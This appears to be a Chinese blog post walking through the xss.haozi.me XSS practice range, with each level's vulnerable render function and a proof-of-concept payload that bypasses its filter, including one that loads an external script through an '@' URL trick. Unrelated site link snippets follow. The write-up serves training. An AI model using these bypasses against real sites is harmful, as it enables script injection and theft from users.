xss.haozi.me靶机XSS练习心得
xss.haozi.me靶机XSS练习心得
//server code
function render (input) {
return '<div>' + input + '</div>'
}
第一题测试js的语法,js都是利用<script>标签的,poc:
<script>alert(1)</script>function render (input) {
return '<textarea>' + input + '</textarea>'
}
第二题测试的是textarea标签,这个标签内,所有的脚本语言都是字符串,无法被调用执行,所以使用他的闭合标签进行闭合,然后再闭合后输入js代码:
</textarea><script>alert(1)</script>function render (input) {
return '<input type="name" value="' + input + '">'
}
考察es6语法中
符号进行字符串拼接,以及html标签事件属性 poc" onmouseover="alert`1``function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
考察正则语法,替换了会把圆括号替换为空
<input><img src="https://www.baidu.com/" onerror=alert(1)></input>
<body onpageshow=alert(1)>
<input><img src="https://www.baidu.com/" onerror=alert`1`;></input>
<input><img src="https://www.baidu.com/" onerror=alert`1`;></input>
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
正则替换规则多了一个`,考虑使用实体符号进行绕过,也可以考虑svg标签,body标签
<input><img src="https://www.baidu.com/" onerror=alert(1);></input>function render (input) {
input = input.replace(/-->/g, '')
return '<!-- ' + input + ' -->'
}
正则替换了
-->,这个是html的注释符,注释符有2中写法,分别是一种是
<!-- 注释的内容 -->另一种是<!-- 注释的内容 --!>所以我们用第二种注释去提前闭合poc:
--!><script>alert(1)</script>function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
此处正则替换的是auto,on.*=和>字符,忽略大小写 auto替换无法使用auto开头的事件属性,on开头的事件属性也无法使用
另外利用html语言只要关键字和语法正确,不受空格和换行符影响的特性
poc:
type="image" src="xxx" onerror
=alert(1)
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
此处正则替换的是<开头 以>结尾的中间是非">"得多个字符串
这里还是利用html语言特性最后一行的标签的闭合标签可以不写">"
poc:
<article><img src=1 onerror="alert(1)"</article>function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
这题中的html中已经有了一个<style>标签,根据第7题的规则,我们可以用
</style\r\n>进行闭合绕过poc:
</style
><script>alert(1)</script>
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
正则中字符串中必须要有
https?://www.segmentfault.com/意味着payload必须要写在后头,所以用/script>进行闭合poc:
https://www.segmentfault.com/script> <img src="xxx" onerror="alert(1)"因为语法正确,回车 空格都可以,所以poc里也可以任意添加空格和回车
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
这题正则中会替换& ` " < > /为实体符号,意味着我们写入实体符号,其中的&字符就会被替换,导致无法正常解析,并且和上一题一样必须开头字符串必须是
https?://www.segmentfault.com/先介绍一个url语法中@字符作用,可以用来隔断域名,前后2个域名会忽略前面那个.注意一个细节2个域名的协议必须是一致的,必须都是http或者https
我们可以自己部署一个域名带上js, js中写上弹窗进行访问即可
poc:
https?://www.segmentfault.com/@www.xxx.com/test.js
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
题中进行了转换成大写操作,html中标签和属性名不区分大小写,但是path部分区分大小写,比如
<IMG SRC="1" ONERROR=alert(2)>等号后面的就是path内容
这题可以尝试第10题用script标签的src添加外部js链接
也可以用poc:
<img src="x" onerror=alert(1)>这个poc原理是js进行解析前会先对unicode进行解码,html中的Unicode格式为 &#编码的十进制数值，一般的格式还有直接\u开头的16进制四位编码，一定是四位
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
和12题相比多了个script的过滤,我们可以双写+unicode编码绕过
poc:
<scscriptript src="33" onerror = alert(1)></scscriptript>
xss.haozi.me靶机XSS练习心得的更多相关文章
- xss.haozi靶机
X00 <script>alert(1)</script> X01 </textarea><script>alert(1)</script> ...
- 小白日记49：kali渗透测试之Web渗透-XSS（三）-存储型XSS、DOM型XSS、神器BEFF
存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...
- [80Sec]深掘XSS漏洞场景之XSS Rootkit
顶80SEC的牛. 深掘XSS漏洞场景之XSS Rootkit[完整修订版] EMail: rayh4c#80sec.com Site: http://www.80sec.com Date: 2011 ...
- Java Web使用过滤器防止Xss攻击，解决Xss漏洞
转: Java Web使用过滤器防止Xss攻击,解决Xss漏洞 2018年11月11日 10:41:27 我欲乘风,直上九天 阅读数:2687 版权声明:本文为博主原创文章,转载请注明出处!有时候 ...
- xss构造--如何使用xss语句
XSS的构造 1.利用[<>]构造html/js 如[<script>alert(/xss/)</script>] 2.伪协议 使用javascript:伪协议来构 ...
- 360[警告]跨站脚本攻击漏洞/java web利用Filter防止XSS/Spring MVC防止XSS攻击
就以这张图片作为开篇和问题引入吧 <options>问题解决办法请参考上一篇 如何获取360站长邀请码,360网站安全站长邀请码 首先360能够提供一个这样平台去检测还是不错的.但是当体检 ...
- XSS第二节，XSS左邻右舍
昨天的文章中引用了OWASP2013年的江湖排名,今天来看一下TOP中XSS的左邻右舍都是谁,先看一下他们的大名,再进一步介绍 [以下主要翻译自https://www.owasp.org/index. ...
- xss跨站脚本攻击及xss漏洞防范
xss跨站脚本攻击(Cross Site Scripting,因与css样式表相似故缩写为XSS).恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Scrip ...
- WEB安全：XSS漏洞与SQL注入漏洞介绍及解决方案（转）
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
- WEB安全：XSS漏洞与SQL注入漏洞介绍及解决方案
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
随机推荐
- jQuery-强大的jQuery选择器 (详解)
jq除常用的选择写法之外的更多方法记录. 原文:jQuery-强大的jQuery选择器 (详解)[转] 1. 基础选择器 Basics 名称 说明 举例 #id 根据元素Id选择 $("di ...
- Java中静态方法和实例方法
static修饰的方法可以直接用方法名. 访问 实例成员方法必须永实例成员调用
- CompletableFuture事务问题
前段时间写了关于CompletableFuture的使用博客,CompletableFuture使用方法详细说明 和 CompletableFuture的thenCompose使用具体说明. 但在实际 ...
- sync.Once
保证在 Go 程序运行期间的某段代码只会执行一次 func main() { o := &sync.Once{} for i := 0; i < 10; i++ { o.Do(func( ...
- mysql-canal-kafka-kettle 数据实时同步链部署bug 填坑过程
1,因为 mysql 版本从5.7 提高到 8.0 ,需要更改用户配置. create user 'canal'@'%' identified by 'canal';grant select , r ...
- git 提示 fatal: Authentication failed for....
在我们进行clone 或 pull 或 push的时候,出现这个问题,先想一下是不是自己的账号密码是不是改了 一般情况下通常需要重新重置一下验证设置 执行以下命令: git config --syst ...
- supervisord and pm2 进程守护工具
目录 安装 pm2 config pm2是一个带有负载均衡功能的应用进程管理器,类似有Supervisor,forever supervisor 特点: 代码修改,实时重启 安装 npm instal ...
- Science Word丨快速创建各种数学、物理、化学图形，让老师的工作更轻松！
很多老师,尤其是理科老师,在出试卷或做课件时需要绘制图像,很多老师会直接在PPT上绘制,但要画得专业点很是费时费力.ScienceWord提供了大量的数学.物理和化学常用的图形,能快速创建各种数学图形 ...
- 火星坐标系 (GCJ-02) 与百度坐标系 (BD-09) 的互转 JAVA
package com.asiabasehk.cgg.util; /**火星坐标系 (GCJ-02) 与百度坐标系 (BD-09) 的互转 * Created by macremote on 1 ...
- Linux常用命令-Java web环境
Linux 常用命令 大部分命令推荐sudo运行 端口和PID互查 # 根据端口查询PID $ lsof -i:8080 # 根据端口查询PID $ fuser -i 8080/tcp # 根据PID ...